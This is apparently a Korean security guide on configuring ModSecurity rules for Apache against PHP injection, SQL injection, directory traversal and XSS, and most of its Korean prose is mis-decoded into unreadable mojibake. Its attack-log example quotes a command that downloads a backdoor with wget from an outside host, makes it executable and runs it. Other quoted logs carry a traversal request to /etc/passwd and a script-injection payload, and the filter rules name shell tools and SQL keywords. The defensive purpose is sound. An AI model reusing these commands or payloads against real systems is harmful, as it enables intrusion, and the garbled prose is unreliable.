allow pass¿¡ ºñÇØ Á»´õ °­·ÂÇÑ ¹öÀüÀ¸·Î ÀÌ actionÀÌ ¼öÇàµÈ ÈÄ ´Ù¸¥ ÇÊÅÍ´Â Àû¿ë½ÃÅ°Áö ¾Ê°í °ð¹Ù·Î ¿äûÀ» Çã¿ëÇÏ°Ô µÈ´Ù.
¿¹) SecFilterSelective REMOTE_ADDR "^192\.168\.2\.99$" allow À§ÀÇ ¿¹´Â °ü¸®ÀÚ ÄÄÇ»ÅÍ(192.168.2.99)¿¡¼­ÀÇ Á¢¼ÓÀº Ç×»ó Çã¿ëÇϵµ·Ï ÇÏ°í ÀÖ´Ù.
deny ÇÊÅÍ°¡ ÀÏÄ¡ÇÒ °æ¿ì ¿äû 󸮸¦ Â÷´ÜÇÑ´Ù. »óÅ action(status)ÀÌ ¸í½ÃÀûÀ¸·Î °°ÀÌ »ç¿ëµÇÁö ¾ÊÀ¸¸é ModSecurity´Â ¡°HTTP 500 error code"¸¦ ¹ÝȯÇÑ´Ù.
status ¿äûÀÌ °ÅºÎµÇ¾úÀ» °æ¿ì HTTP »óŸ¦ Á¦°øÇÑ´Ù.
¿¹) SecFilter KEYWORD "deny,status:404"
redirect ÇÊÅÍ°¡ ÀÏÄ¡ÇÏ¸é »ç¿ëÀÚ¸¦ ÁÖ¾îÁø URL·Î ¸®´ÙÀÌ·ºÆ® ½ÃŲ´Ù.
¿¹) SecFilter KEYWORD "redirect:http://www.krcert.or.kr/warn.html"
exec ÇÊÅÍ°¡ ÀÏÄ¡Çϸé ƯÁ¤ ¹ÙÀ̳ʸ®¸¦ ½ÇÇà½ÃŲ´Ù. ½ÇÇàµÉ ÆÄÀÏÀº Àüü °æ·Î¸¦ ÁöÁ¤ÇØ ÁÖ¾î¾ß ÇÑ´Ù.
¿¹) SecFilter KEYWORD "exec:/home/ivanr/report-attack.pl"
log ¾ÆÆÄÄ¡ ¿¡·¯ ·Î±×(error_log)¿¡ ±â·ÏÇÑ´Ù.
nolog ÇÊÅÍ°¡ ÀÏÄ¡Çصµ ±â·ÏÇÏÁö ¾ÊÀ¸¸ç, ¡°audit logging"µµ ÀϾÁö ¾Êµµ·Ï ÇÑ´Ù.
pause ¿äû¿¡ ´ëÇÑ ÀÀ´äÀ» Çϱâ Àü¿¡ Á¤ÀÇµÈ ¼ö milliseconds µ¿¾È ÁßÁö½ÃŲ´Ù. ÀÌ´Â À¥ ½ºÄ³³Ê¸¦ ´À¸®°Ô Çϰųª ¿ÏÀüÈ÷ ±³¶õ½ÃÅ´À¸·Î½á ½ºÄµ °ø°ÝÀ» ¾ïÁ¦½Ãų ¼öµµ ÀÖ´Ù. ¾î¶² ½ºÄ³³Ê´Â ÁßÁö ½Ã°£ÀÌ ³Ê¹« ±æ¸é ½ºÄ³´×À» Æ÷±âÇÑ´Ù.
auditlog Æ®·£Á§¼Ç Á¤º¸¸¦ audit log(SecAuditLog Áö½ÃÀÚ¿¡ ÀÇÇØ ÆÄÀϸí ÁöÁ¤)¿¡ ±â·ÏÇÑ´Ù.
noauditlog Æ®·£Á§¼Ç Á¤º¸¸¦ audit log¿¡ ±â·ÏÇÏÁö ¾Ê´Â´Ù.

SecFilterCheckURLEncoding On
Ư¼ö¹®ÀÚµéÀº URL¿¡ Àü¼ÛµÇ±â Àü¿¡ ÀÎÄÚµùµÉ ÇÊ¿ä°¡ ÀÖ´Ù. %XY(XY´Â 16Áø¼ö) ÇüÅÂÀÇ ¹®ÀÚµéÀº ÀÏ¹Ý ÅؽºÆ® ¹®ÀÚ·Î º¯È¯µÈ´Ù.

 
³ª. »ç¿ëÀÚ Rule Á¤ÀÇ
 
ÇÊÅ͸µ ¿£ÁøÀÌ È°¼ºÈ­µÇ¸é À¯ÀԵǴ ¸ðµç ¿äûÀÌ À¥¼­¹ö¿¡ ÀÇÇØ Ã³¸®µÇ¾îÁö±â Àü¿¡ °¡·Îä¾îÁö°í ºÐ¼®µÇ¾îÁø´Ù. ¾Õ¼­ ȯ°æ¼³Á¤ Áö½ÃÀڵ鿡 ÀÇÇØ À¥¿äû ÇüÅ°¡ À¯È¿ÇÑÁö µîÀÌ Á¡°ËµÈ ÈÄ µÎ ¹ø° ´Ü°è·Î À¥¿äûÀº ÀÏ·ÃÀÇ »ç¿ëÀÚ Á¤ÀÇ ÇÊÅ͸¦ °ÅÄ¡°Ô µÈ´Ù. »ç¿ëÀÚ¿¡ ÀÇÇØ Á¤ÀÇµÉ ¼ö ÀÖ´Â ´ëÇ¥ÀûÀÎ ÇÊÅ͵éÀº ´ÙÀ½°ú °°´Ù.
 
SecFilter KEYWORD [ACTIONS]
°¡Àå ´Ü¼øÇÑ ÇüÅÂÀÇ ÇÊÅ͸µÀ¸·Î ƯÁ¤ Å°¿öµå¿¡ ÀÇÇÑ ÇÊÅ͸¦ Á¤ÀÇÇÒ ¼ö ÀÖ´Ù. SecFilter Áö½ÃÀÚ´Â À¥¿äûÀÇ Ã¹ ¹ø° ¶óÀο¡¼­ ƯÁ¤ Å°¿öµå°¡ ÀÏÄ¡ÇÏ´ÂÁö Á¡°ËÇÏ°í, ¡°SecFilterScanPOST On¡° ¼³Á¤ÀÌ µÇ¾î ÀÖÀ» °æ¿ì¿¡´Â body±îÁö Á¡°ËÇÑ´Ù. ÀÌ ¶§ Å°¿öµå´Â ´ë¼Ò¹®ÀÚ¸¦ ±¸ºÐÇÏÁö ¾Ê´Â´Ù.
¸¸ÀÏ ¡°SecFilter /bin/sh¡±¿Í °°ÀÌ µð·ºÅ丮¸¦ Æ÷ÇÔÇÑ Å°¿öµå ÇÊÅ͸µÀ» ¼³Á¤ÇØ ³õ¾ÒÀ» °æ¿ì °ø°ÝÀڴ¡°/bin/./sh¡±¿Í °°ÀÌ ÇÊÅ͸¦ ¿ìȸÇÏ¿© °ø°ÝÇÒ ¼ö ÀÖ´Ù.
µû¶ó¼­, ModSecurity¿¡¼­´Â ´ÙÀ½°ú °°ÀÌ °ø°ÝÀÚ°¡ ¿ìȸÇÒ ¼ö Àִ ƯÁ¤ ¹®ÀÚ¿­À» ÀÚµ¿À¸·Î º¯È¯ÇÏ¿© Å°¿öµå ÇÊÅ͸µÀ» ¿ìȸÇÒ ¼ö ¾øµµ·Ï ÇÏ°í ÀÖ´Ù.
 
º¯È¯ Àü º¯È¯ ÈÄ ºñ°í
\ / À©µµ¿ì ½Ã½ºÅÛ¿¡¼­ Àû¿ë
/./ /  
// /  
URL ÀÎÄÚµùµÈ ¹®ÀÚ¿­ URL µðÄÚµùµÈ ¹®ÀÚ¿­  

Å°¿öµå´Â ´Ü¼øÇÑ text°¡ ¾Æ´Ñ Á¤±Ô Ç¥Çö½ÄÀ¸·Î ´Ù¾çÇÑ ÇÊÅÍ ±ÔÄ¢À» ¸¸µé¾î ³¾ ¼ö ÀÖ´Ù. Å°¿öµå¿¡¼­¡°!¡± ¹®ÀÚ¸¦ ¸Ç ¾Õ¿¡ ³Ö¾î¼­ Ç¥Çö½ÄÀ» ¹Ý´ë·Î Àû¿ëÇÒ ¼öµµ ÀÖ´Ù. °¡·É, ¡°SecFilter !php¡± °°ÀÌ ÇÏ¿© ¡°php" ¹®ÀÚ¸¦ Æ÷ÇÔÇÏÁö ¾Ê´Â ¸ðµç ¿äûÀº °ÅÀýÇÒ ¼öµµ ÀÖ´Ù.

SecFilterSelective LOCATION KEYWORD [ACTIONS]
¾Õ¼­ SecFilter Áö½ÃÀÚ¸¦ ÀÌ¿ëÇÑ ÇÊÅ͸µÀº Àû¿ëÀÌ ³Ê¹« ±¤¹üÀ§ÇÑ ´ÜÁ¡ÀÌ ÀÖ´Ù. ÀÌ·¯ÇÑ ´ÜÁ¡À» º¸¿ÏÇÏ¿© ½ÇÁ¦ À¯¿ëÇÏ°Ô »ç¿ëµÉ ¼ö ÀÖ´Â Áö½ÃÀÚ°¡ SecFilterSelectiveÀÌ´Ù. ÀÌ Áö½ÃÀÚ´Â SecFilter Áö½ÃÀÚ¿¡¼­ LOCATION ºÎºÐÀÌ Ãß°¡ µÇ¾ú´Âµ¥ ÇØ´ç Å°¿öµå¸¦ ¾î´À À§Ä¡¿¡¼­ ãÀ» °ÍÀÎÁö ÁöÁ¤Çؼ­ º¸´Ù Á¤È®ÇÑ ÇÊÅ͸µÀ» ÇÒ ¼ö ÀÖµµ·Ï ÇÑ´Ù. LOCATION º¯¼ö´Â ´ÙÀ½°ú °°ÀÌ ÆÄÀÌÇÁ(|)·Î ±¸ºÐµÈ ÀÏ·ÃÀÇ À§Ä¡ È®ÀÎÀÚ·Î ±¸¼ºµÈ´Ù.

SecFilterSelective "REMOTE_ADDR|REMOTE_HOST" KEYWORD

À§ÀÇ ¿¹´Â Ŭ¶óÀ̾ðÆ®ÀÇ IP ÁÖ¼Ò¿Í È£½ºÆ® À̸§¿¡¸¸ Å°¿öµå°¡ Àû¿ëµÈ´Ù. À§Ä¡ È®ÀÎÀÚ¿¡ µé¾î°¥ ¼ö
ÀÖ´Â °ÍÀº ´ÙÀ½°ú °°´Ù.
REMOTE_ADDR
REMOTE_HOST
REMOTE_USER
REMOTE_IDENT
REQUEST_METHOD
SCRIPT_FILENAME
PATH_INFO
QUERY_STRING
AUTH_TYPE
DOCUMENT_ROOT
SERVER_ADMIN
SERVER_NAME
SERVER_ADDR
SERVER_PORT
SERVER_PROTOCOL
SERVER_SOFTWARE
TIME_YEAR
TIME_MON
TIME_DAY
TIME_HOUR
TIME_MIN
TIME_SEC
TIME_WDAY
TIME
API_VERSION
THE_REQUEST
REQUEST_URI
REQUEST_FILENAME
IS_SUBREQ

ÀÌ ¿Ü¿¡µµ º¸´Ù Àü¹®ÀûÀÎ À§Ä¡ È®ÀÎÀڵ鵵 Á¸ÀçÇϴµ¥ ÀÌ´Â ModSecurityÀÇ ¸Å´º¾óÀ» ÂüÁ¶Çϱ⠹ٶõ´Ù.

SecFilterScanOutput On
¾ÆÆÄÄ¡ 2¿¡¼­ ModSecurity´Â Ãâ·Â ÇÊÅ͸¦ Áö¿øÇÑ´Ù. µðÆúÆ®·Î ÀÌ ±â´ÉÀº ºñÈ°¼ºÈ­µÇ¾î ÀÖÀ¸¹Ç·Î À§¿Í °°ÀÌ È°¼ºÈ­½ÃÄÑ ÁÖ¾î¾ß ÇÑ´Ù. ±âÁ¸ÀÇ ÀÔ·Â ÇÊÅÍ´Â À¥¿äûÀÌ ¾ÆÆÄÄ¡¿¡ ÀÇÇØ Ã³¸®µÇ±â ÀÌÀü¿¡ ½ÇÇàµÇÁö¸¸ Ãâ·Â ÇÊÅÍ´Â ¾ÆÆÄÄ¡¿¡ ÀÇÇØ À¥¿äûÀÌ Ã³¸® ¿Ï·áµÈ ÀÌÈÄ¿¡ ½ÇÇàµÈ´Ù.

À§¿Í °°ÀÌ Ãâ·Â ÇÊÅ͸¦ ¼³Á¤ÇÑ ÈÄ¿¡ ´ÙÀ½°ú °°ÀÌ ¡°OUTPUT" ÆĶó¸ÞÅ͸¦ »ç¿ëÇÏ¿© ƯÁ¤ Å°¿öµå¸¦ °¡Áø Ãâ·Â¿¡ ´ëÇØ ÇÊÅ͸µÀ» ÇÒ ¼ö ÀÖ´Ù.
 
SecFilterSelective OUTPUT "Fatal error:" deny,status:500
ErrorDocument 500 /php-fatal-error.html
 
ÀÌ¿Í °°ÀÌ °ø°ÝÀÚ°¡ °ø°Ý Á¤º¸·Î ÀÌ¿ëµÉ ¼ö ÀÖ´Â Á¤º¸³ª ƯÁ¤ ¸í·É¾î ½ÇÇà °á°ú µî CriticalÇÑ °á°ú°¡ ½ÇÇàµÇ¾î °ø°ÝÀÚ¿¡°Ô °á°ú°¡ Àü´ÞµÇ´Â °ÍÀ» Â÷´ÜÇÒ ¼ö ÀÖ´Ù.

Ãâ·Â ÇÊÅÍ´Â ÀÏ¹Ý Æò¹® text¿Í HTML Ãâ·Â¿¡ ´ëÇؼ­¸¸ À¯¿ëÇϸç, À̹ÌÁö¿Í °°Àº ¹ÙÀ̳ʸ® ÄÁÅÙÃ÷¿¡ ´ëÇØ Á¤±Ô½ÄÀ» Àû¿ëÇÑ´Ù¸é ¼­¹ö°¡ ´À·ÁÁú ¼ö ÀÖ´Ù. µðÆúÆ®·Î ModSecurity´Â ÄÁÅÙÃ÷ ŸÀÔÀ» °¡Áö°í ÀÖÁö ¾Ê°Å³ª ¡°text/plan" ¶Ç´Â ¡±text/html"À» ÄÁÅÙÃ÷ ŸÀÔÀ¸·Î °¡Áø Ãâ·Â¿¡ ´ëÇؼ­¸¸ ½ºÄµÇÑ´Ù. ½ºÄµ ÇÏ°íÀÚ ÇÏ´Â ÄÁÅÙÃ÷ ŸÀÔÀ» ¹Ù²Ù°íÀÚ ÇÒ °æ¿ì¿¡´Â ¡°SecFilterOutputMimeTypes¡± Áö½ÃÀÚ¸¦ ÀÌ¿ëÇÑ´Ù.
 
SecFilterOutputMimeTypes "(null) text/html text/plain"
 
À§ÀÇ ¼³Á¤Àº ModSecurity°¡ Æò¹® text ÆÄÀÏ, HTML ÆÄÀÏ ±×¸®°í MIME ŸÀÔÀÌ Á¤ÀǵÇÁö ¾ÊÀº ÆÄÀϵ鿡 ´ëÇØ Ãâ·Â ÇÊÅ͸¦ Àû¿ëÇÏ°Ô ÇÑ´Ù.

Ãâ·Â ÇÊÅÍ´Â À¯¿ëÇÑ ±â´ÉÀ̶ó°í ÇÒ ¼ö ÀÖÁö¸¸ ¿Ïº®ÇÏÁö´Â ¸øÇÏ´Ù. °ø°ÝÀÚ°¡ ¸ð´ÏÅ͸µÇÏ°í ÀÖÁö ¾Ê´Â ÄÁÅÙÃ÷ ŸÀÔÀ¸·Î ¹Ù²Û´ÙµçÁö Ãâ·ÂÀ» ÀÎÄÚµùÇÏ´Â ¹æ¹ýÀ¸·Î ÇÊÅ͸¦ ¿ìȸÇÒ °¡´É¼ºÀÌ Á¸ÀçÇÑ´Ù.

 
´Ù. ±âŸ Áö½ÃÀÚ
 
SecUploadDir /tmp
ModSecurity´Â POST ¿äû°ú multipart/form-data ÀÎÄÚµùÀ» ÅëÇϰųª PUT ¿äûÀ» ÅëÇÑ ÆÄÀϾ÷·Îµå¸¦ °¡·Îä¾î Á¡°ËÇÒ ¼ö ÀÖ´Â ±â´ÉÀÌ ÀÖ´Ù.
ModSecurity´Â Ç×»ó Àӽà µð·ºÅ丮¿¡ ÆÄÀϵéÀ» ¾÷·ÎµåÇÏ°Ô Çϴµ¥, À̶§ SecUploadDir Áö½ÃÀÚ¸¦ »ç¿ëÇÏ¿© Àӽà µð·ºÅ丮¸¦ ¼±ÅÃÇÒ ¼ö ÀÖ´Ù.

SecServerSignature "Microsoft-IIS/5.0"
À¥¼­¹ö´Â ±âº»ÀûÀ¸·Î HTTP ÀÀ´ä¿¡ ¼­¹öÀÇ Á¤º¸¸¦ ½Ç¾î¼­ º¸³½´Ù. ÀÌ Á¤º¸´Â °ø°ÝÀÚµéÀÌ °ø°ÝÇϱâ À§ÇÑ ±âº» Á¤º¸°¡ µÉ ¼ö ÀÖ´Ù. µû¶ó¼­, ÀÌ Á¤º¸¸¦ SecServerSignature Áö½ÃÀÚ¸¦ ÀÌ¿ëÇÏ¿© ¹Ù²ÞÀ¸·Î½á °ø°ÝÀÚ¸¦ È¥µ·½º·´°Ô ÇÒ ¼ö ÀÖ´Ù.

SecFilterDebugLog logs/modsec_debug_log
SecFilterDebugLog Áö½ÃÀÚ´Â µð¹ö±ë °á°ú¸¦ ¾îµð¿¡ ±â·ÏÇÒ °ÍÀÎÁö¸¦ Á¤ÀÇÇÑ´Ù. À§Ä¡¸¦ ÁöÁ¤ÇØ ÁÖ´Â ÆĶó¸ÞÅÍ°¡ ½½·¡½¬(/)·Î ½ÃÀÛÇÏÁö ¾ÊÀ¸¸é ¾ÆÆÄÄ¡ Ȩµð·ºÅ丮·Î ºÎÅÍÀÇ »ó´ë°æ·Î¸¦ ÀǹÌÇÑ´Ù.
 
SecFilterDebugLog logs/modsec_debug_log
SecFilterDebugLevel Áö½ÃÀÚ¸¦ »ç¿ëÇÏ¿© µð¹ö±ë ¼öÁØÀ» ¾ó¸¶³ª »ó¼¼ÇÏ°Ô ÇÒ °ÍÀÎÁö¸¦ °áÁ¤ÇÒ ¼ö ÀÖ´Ù. °úµµÇÑ µð¹ö±ë ¼öÁØÀº ºÒÇÊ¿äÇÑ ·Î±×¸¦ °ú´Ù »ý»êÇÒ ¼ö ÀÖÀ¸¹Ç·Î ¹®Á¦ ¹ß»ý½Ã µî Ưº°ÇÑ °æ¿ì¿¡¸¸ »ó¼¼ÇÑ µð¹ö±ëÀ» ÇÏ´Â °ÍÀÌ ¹Ù¶÷Á÷ÇÏ´Ù.
 
·¹º§ ¼³¸í
0 ¾øÀ½
1 Áß¿ä À̺¥Æ®(error_log¿¡ ±â·ÏµÊ)
2 Á¤º¸ ¸Þ½ÃÁö
3 Á»´õ »ó¼¼ÇÑ Á¤º¸ ¸Þ½ÃÁö
 
SecAuditEngine On
SecAuditLog logs/audit_log

Ç¥ÁØ ¾ÆÆÄÄ¡ ·Î±ëÀº ƯÁ¤ »ç¿ëÀÚ³ª °ø°ÝÀÚ¸¦ ÃßÀûÇϱâ À§Çؼ­ ºÎÁ·ÇÑ ¸éÀÌ ÀÖ´Ù. ModSecurity
´Â SecAuditEngine Áö½ÃÀÚ¸¦ ÅëÇØ ¾ÆÆÄÄ¡ÀÇ ±âº» ·Î±× ÆÄÀÏ(access_log, error_log) º¸´Ù Á» ´õ
»ó¼¼ÇÑ °ø°Ý °ü·Ã Á¤º¸¸¦ Á¦°øÇØ ÁÙ ¼ö ÀÖ´Ù.
SecAuditEngineÀÌ »ç¿ëÇÒ ¼ö ÀÖ´Â ÆĶó¸ÞÅÍ´Â ´ÙÀ½°ú °°´Ù.

o On : ¸ðµç ¿äû¿¡ ´ëÇØ ·Î±×¸¦ ³²±è
o Off : ¾î¶°ÇÑ ¿äû¿¡ ´ëÇؼ­µµ ·Î±×¸¦ ³²±âÁö ¾ÊÀ½
o RelevantOnly : ÇÊÅÍ¿¡ ÀÏÄ¡ÇÏ´Â ¿äû¿¡ ´ëÇؼ­¸¸ ·Î±×¸¦ ³²±è
 
 
4. ÁÖ¿ä À¥ °ø°Ýº° Rule ¼³Á¤ ¹× ModSecurity ÇÊÅ͸µ °á°ú
 
ModSecurity´Â OWASP(http://www.owasp.org)¿¡ ¾ð±ÞµÈ ´ëºÎºÐÀÇ Ãë¾àÁ¡¿¡ ´ëÇØ ¹æ¾îÇÒ ¼ö ÀÖ´Â ±â´ÉÀ» °¡Áö°í ÀÖ´Ù. º» °í¿¡¼­´Â ModSecurity°¡ ¼³Ä¡µÇ´Â ¾ÆÆÄÄ¡ À¥¼­¹ö ȯ°æ¿¡¼­ °¡Àå ¸¹ÀÌ ¹ß»ýµÇ°í ÀÖ´Â À¥°ø°ÝÀÎ PHP Injection¿¡ ´ëÇØ ¹æ¾îÇÒ ¼ö ÀÖ´Â ¼³Á¤ ¿¹¸¦ »ìÆ캸µµ·Ï ÇÑ´Ù. ¶ÇÇÑ, ÀÌ¿Ü¿¡µµ SQL Injection, XSS µî ÀϹÝÀûÀÎ À¥ °ø°Ý¿¡ ´ëÇؼ­µµ ¾î¶°ÇÑ ¼³Á¤ÀÌ ÇÊ¿äÇÑÁö ¾Ë¾Æº¸°í ½ÇÁ¦ °ø°ÝÀÌ Â÷´ÜµÈ °á°ú¸¦ »ìÆ캸µµ·Ï ÇÑ´Ù.
 
- PHP Injection °ø°Ý
 
ÃÖ±Ù ¾ÆÆÄÄ¡ À¥¼­¹ö °ø°Ý¿¡ ¸¹ÀÌ ÀÌ¿ëµÇ°í ÀÖ´Â Á¦·Îº¸µå PHP Injection °ø°ÝÀÌ ¾î¶°ÇÑ ¹æ¹ýÀ¸·Î ÀÌ·ç¾îÁö´ÂÁö ´ÙÀ½ÀÇ °ø°Ý ·Î±×¸¦ ÅëÇØ È®ÀÎÇÒ ¼ö ÀÖ´Ù.
victim.com-access_log:xxx.xxx.239.56 - - [30/Aug/2005:06:23:06 +0900] "GET
/bbs//include/write.php?dir=http://xx.xxx.br/cse.gif?&cmd=cd%20/tmp;wget%20http://www.xxx.com/0/r0nin;chmod%204777%20r0nin;./r0nin HTTP/1.1" 200 2066

°ø°ÝÀÚ´Â Á¦·Îº¸µåÀÇ PHP Injection Ãë¾àÁ¡À» ÀÌ¿ëÇÏ¿© ºê¶óÁú »çÀÌÆ®¿¡ À§Ä¡ÇÑ ÇØÅ· ÇÁ·Î±×·¥À» ÇÇÇؽýºÅÛ¿¡¼­ ½ÇÇà½ÃÄ×´Ù. ¶ÇÇÑ ÀÌ ÇØÅ·ÇÁ·Î±×·¥À» ÅëÇØ /tmp µð·ºÅ丮¿¡ "r0nin" À̶ó´Â ¹éµµ¾î ÇÁ·Î±×·¥À» ¼³Ä¡ÇÏ¿´´Ù. ÀÌ·¯ÇÑ °ø°ÝÀº ÃÖ±Ù ±¹³»¿¡¼­ ´ë±Ô¸ð·Î ¹ß»ýµÇ°í ÀÖ´Â À¥ º¯Á¶ »ç°íÀÇ ÀüÇüÀûÀÎ ¿¹ÀÌ´Ù.
 
ModSecurity¸¦ ÀÌ¿ëÇÏ¿© ÀÌ·¯ÇÑ ÇüÅÂÀÇ °ø°Ý¿¡ ´ëÇÑ Â÷´Ü ¹æ¾ÈÀ» ¾Ë¾Æº¸ÀÚ.
¸ÕÀú, °ø°ÝÀÚ°¡ ¿ÜºÎ »çÀÌÆ®·Î ºÎÅÍÀÇ ¼Ò½º ½ÇÇàÀ» ¸·°í, ¡°id", "wget" µî °ø°Ý¿¡ ÀÌ¿ëµÇ´Â ¸í·É »ç¿ëÀ» Â÷´ÜÇÑ´Ù.
# ÆĶó¸ÞÅÍ¿¡ URLÀÌ µé¾î ÀÖ´Â ¿äûÀ» Â÷´Ü
SecFilterSignatureAction "log,deny,msg:'PHP Injection Attacks'"
SecFilterSelective ARGS_VALUES "^http:/"

# ÆĶó¸ÞÅÍ¿¡ ¡°ls", "id", "pwd", "wget" µîÀÇ Å°¿öµå°¡ ÀÖÀ» °æ¿ì Â÷´Ü
SecFilterSignatureAction "log,deny,msg:'Command execution attack'"
SecFilterSelective ARGS_VALUES ";[[:space:]]*(ls|id|pwd|wget)"

# Ä¿¸Çµå ½ÇÇà °á°ú¸¦ Ãâ·Â ÇÊÅÍ¿¡¼­ Â÷´Ü

# "id" ¸í·ÉÀÇ Ãâ·Â °á°ú Â÷´Ü
SecFilterSelective OUTPUT "uid=[[:digit:]]+\([[:alnum:]]+\) gid=[[:digit:]]\([[:alnum:]]+\)"

# "ls -l" ¸í·ÉÀÇ Ãâ·Â °á°ú Â÷´Ü
SecFilterSelective OUTPUT "total [[:digit:]]+"

# "wget" ¸í·ÉÀÇ Ãâ·Â °á°ú Â÷´Ü
SecFilterSelective OUTPUT "HTTP request sent, awaiting response"

 
À§ÀÇ ¼³Á¤¿¡ ÀÇÇØ Á¦·Îº¸µåÀÇ PHP Injection Ãë¾àÁ¡À» °ø°ÝÇÏ¿´À» °æ¿ì ´ÙÀ½°ú °°ÀÌ Â÷´ÜµÇ´Â °ÍÀ» È®ÀÎÇÒ ¼ö ÀÖ´Ù.
 
[Mon Mar 06 10:07:25 2006] [error] [client xxx.xxx.222.28] mod_security: Access denied with code 403. Pattern match "^http:/" at ARGS_VALUES("dir") [msg "PHP Injection Attacks"] [hostname "victim_ip"]
[uri "/new/bbs/include/write.php?dir=http://www.xxx.com.br/cse.gif?&cmd=id"]
 
±× ¿Ü¿¡µµ Àü¿ªº¯¼ö GLOBALS¸¦ ÀÌ¿ëÇÑ °ø°ÝÀ» ¸·±â À§Çؼ­´Â ´ÙÀ½°ú °°ÀÌ ¼³Á¤ÇÑ´Ù.

SecFilterSelective ARGS_NAMES "(^globals\[|^globals$)"

 
- SQL Injection °ø°Ý
 
ÃÖ±Ù Áß±¹¹ß °ø°Ý µî ¸¹Àº °ø°ÝÀÌ SQL Injection Ãë¾àÁ¡À» ÀÌ¿ëÇÑ °ø°ÝÀÌ´Ù. ´ÙÀ½°ú °°ÀÌ DB Query ¸¦ ÅëÇØ DB¿¡ ´ëÇÑ »èÁ¦, Ãß°¡, ¿­¶÷½Ãµµ µîÀ» Â÷´ÜÇÏ´Â °ÍÀÌ ¹Ù¶÷Á÷ÇÏ´Ù.
## SQL Injection Attacks SecFilterSignatureAction "log,deny,msg:'SQL Injection attack'" # Generic SecFilterSelective ARGS "delete[[:space:]]+from" SecFilterSelective ARGS "drop[[:space:]]+database" SecFilterSelective ARGS "drop[[:space:]]+table" SecFilterSelective ARGS "drop[[:space:]]+column" SecFilterSelective ARGS "drop[[:space:]]+procedure" SecFilterSelective ARGS "create[[:space:]]+table" SecFilterSelective ARGS "update.+set.+=" SecFilterSelective ARGS "insert[[:space:]]+into.+values" SecFilterSelective ARGS "select.+from" SecFilterSelective ARGS "bulk[[:space:]]+insert" SecFilterSelective ARGS "union.+select" SecFilterSelective ARGS "or.+1[[:space:]]*=[[:space:]]1" SecFilterSelective ARGS "alter[[:space:]]+table" SecFilterSelective ARGS "or 1=1--'" SecFilterSelective ARGS "'.+--" # MySQL SecFilterSelective ARGS "into[[:space:]]+outfile" SecFilterSelective ARGS "load[[:space:]]+data SecFilterSelective ARGS "/\*.+\*/"
 
À§ÀÇ ¼³Á¤¿¡ ÀÇÇØ SQL Injection °ø°Ý½Ãµµ°¡ ¾Æ·¡¿Í °°ÀÌ Â÷´ÜµÈ´Ù.
 
Mon Mar 06 09:57:11 2006] [error] [client xxx.xxx.222.28] mod_security: Warning. Pattern match "delete[[:space:]]+from" at QUERY_STRING [msg "SQL Injection attack"] [hostname "victim_ip"] [uri "/new/bbs/zboard.php?id=bbs&no=24'delete%20from"]
 
- Directory traversal °ø°Ý
 
ÀϹÝÀûÀÎ À¥ ¿äû¿¡¼­ ¡°../¡±¿Í °°Àº °æ·Î´Â ÇÊ¿äÄ¡ ¾Ê´Ù. ÀÌ´Â À¥À» ÅëÇØ /etc/passwd¿Í °°ÀÌ ºñ Á¤»óÀûÀÎ À¥¿äûÀ» À§ÇÑ °æ¿ì°¡ ¸¹À¸¹Ç·Î Â÷´ÜÇÏ´Â °ÍÀÌ ¹Ù¶÷Á÷ÇÏ´Ù. ¡°../¡±¸¦ Â÷´ÜÇϱâ À§ÇØ ´ÙÀ½°ú °°Àº ¼³Á¤À» ÇÑ´Ù.
 
SecFilter "\.\./"
 
À§ÀÇ ¼³Á¤¿¡ ÀÇÇØ directory traversal °ø°Ý ½Ãµµ½Ã ´ÙÀ½°ú °°ÀÌ Â÷´ÜµÇ´Â °ÍÀ» È®ÀÎÇÒ ¼ö ÀÖ´Ù.

[Mon Mar 06 09:52:00 2006] [error] [client xxx.xxx.222.28] mod_security: Access denied with code 403. Error normalising REQUEST_URI: Invalid character detected[0] [hostname "victim_ip"] [uri "/cgi-bin/quickstore.cgi?page=../../../../../../../../../../etc/passwd%00html&cart_id="]
 
- XSS(Cross Site Scripting) °ø°Ý
 XSS´Â À¥ ÆäÀÌÁö¿¡ JavaScript¿Í °°Àº ¾Ç¼º ½ºÅ©¸³Æ®¸¦ »ðÀÔÇÏ¿© ´Ù¸¥ À¥ Á¢¼ÓÀÚ°¡ À̸¦ ½ÇÇà½ÃÅ°°Ô ÇÏ´Â °ø°ÝÀÌ´Ù. ÀÌ °ø°Ý¿¡ ´ëÇÑ ¹æ¾î´Â ÆĶó¸ÞÅÍ ÇÊÅ͸µÀε¥ ´ÙÀ½°ú °°ÀÌ ¼³Á¤ÇÒ ¼ö ÀÖ´Ù.

SecFilterSignatureAction "log,deny,msg:'XSS attack'" SecFilterSelective ARGS "<script" SecFilterSelective ARGS "javascript:" SecFilterSelective ARGS "vbscript:" SecFilterSelective ARGS "document\.cookie" SecFilterSelective ARGS "document\.location" SecFilterSelective ARGS "document\.write"

À§ÀÇ ¿¹´Â ÀÚ¹Ù½ºÅ©¸³Æ®, ºñÁÖ¾óº£ÀÌÁ÷ ½ºÅ©¸³Æ® µî ½ºÅ©¸³Æ® Äڵ带 Â÷´ÜÇÏ°í, ½ºÅ©¸³Æ®¿¡ ÀÇÇØ ÄíÅ° Á¤º¸°¡ ³ëÃâµÇ´Â °ÍÀ» ¹æÁöÇÏ°í ÀÖ´Ù.
XSS °ø°Ý ½Ãµµ°¡ ´ÙÀ½°ú °°ÀÌ Â÷´ÜµÇ´Â °ÍÀ» È®ÀÎÇÒ ¼ö ÀÖ´Ù.
 
[Mon Mar 06 09:51:55 2006] [error] [client xxx.xxx.222.28] mod_security: Access denied with code 403. Pattern match "^$" at HEADER("Accept") [hostname "victim_ip"] [uri "/cgi-bin/auction/auction.cgi?action=Sort_Page&View=Search&Page=0&Cat_ID=&Lang=Engli sh&Search=All&Terms=<script>alert('Vulnerable');</script>&Where=&Sort=Photo&Dir="]
 
- ½Ã½ºÅÛ ¸í·É¾î ½ÇÇà
 
°ø°ÝÀÚ´Â À¥À» ÅëÇØ ½Ã½ºÅÛ µð·ºÅ丮ÀÇ ¹ÙÀ̳ʸ® ÆÄÀÏÀ» ½ÇÇàÇÏ´Â °æ¿ì°¡ ÀÖ´Ù. µû¶ó¼­ À¥¿äû¿¡ ´ÙÀ½°ú °°ÀÌ "bin/" Å°¿öµå°¡ ÀÖÀ» °æ¿ì³ª ¡°ls", "id", "pwd", "wget" µî °ø°Ý¿¡ ¸¹ÀÌ ÀÌ¿ëµÇ°í ÀÖ´Â ½Ã½ºÅÛ ¸í·ÉÀ» Â÷´Ü½ÃŲ´Ù.
SecFilterSelective ARGS "bin/" SecFilterSelective ARGS_VALUES ";[[:space:]]*(ls|id|pwd|wget)"
 
